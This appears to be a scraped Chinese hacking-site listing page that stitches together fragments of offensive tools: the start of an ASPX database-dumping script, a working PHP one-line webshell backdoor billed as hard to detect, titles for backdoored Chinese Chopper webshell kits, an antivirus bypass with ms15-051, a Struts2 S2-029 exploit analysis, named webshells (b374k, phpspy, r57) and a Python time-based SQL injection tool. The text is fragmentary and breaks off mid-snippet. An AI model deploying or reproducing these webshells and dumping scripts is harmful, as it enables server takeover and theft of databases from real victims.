aspx wget脱裤脚本

<%@ Page Language="C#" Debug="false" %>
<%@ import Namespace="System.Data"%>
<%@ import Namespace="System.Data.OleDb"%>
<%@ import Namespace="System.Data.Common"%>
<%@ Import Namespace="System.Data.SqlClient"%>
<script runat="server">
protected void Page_Load(object sender,EventArgs e)
{
    Response.Buffer = true;
        Server.ScriptTimeout = 2147483647;
    
    string sConnStr = "Driver={Sql Server};Server=192.168.1.5;Uid=mssql用户名;Pwd=mssql密码;Database=库名"; //这里是连接字符串
    string sSQL = "SELECT * FROM [库名].dbo.[表名]";  //这里是导哪个库哪个表的语句,可以写多条语句,用半角分号隔开

xise后门箱子制作教程附工具

xise菜刀寄生虫箱子去除后门以及加后门教程

xise菜刀


  Tags:

2款不易查杀的PHP一句话后门

<?php

//door.php?ctime=exec&atime=whoami

@extract ($_REQUEST);
@die ($ctime($atime));
?>
<?php
//door.php?p={"a":&

中国菜刀300万高级后门箱子制作教程

中国菜刀后门

lcx + ms15-051过诺顿 20160321

本次过诺顿方法:

扔c32随便加点东西。

S2-029 Struts2 标签远程代码执行分析(含POC)

0×00  标签介绍

Struts2标签库提供了主题、模板支持,极大地简化了视图页面的编写,而且,struts2的主题、模板都提供了很好的扩展性。实现了更好的代码复用。 Struts2允许在页面中使用自定义组件,这完全能满足项目中页面显示复杂,多变的需求。

Struts2的标签库有一个巨大的改进之处,struts2标签库的标签不依赖于任何表现层技术,也就是说 strtus2提供了大部分标签,可以在各种表现技术中使用。包括最常用的jsp页面,也可以说 Velocity 和FreeMarker等模板技术中的使用。

b374k-3.2.3

b374k-3.2.3

phpspy2014

phpspy2014

延迟注入工具(python)

延迟注入工具(python)

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# 延迟注入工具
import urllib2
import time
import socket
import threading
import req

r57.php

r57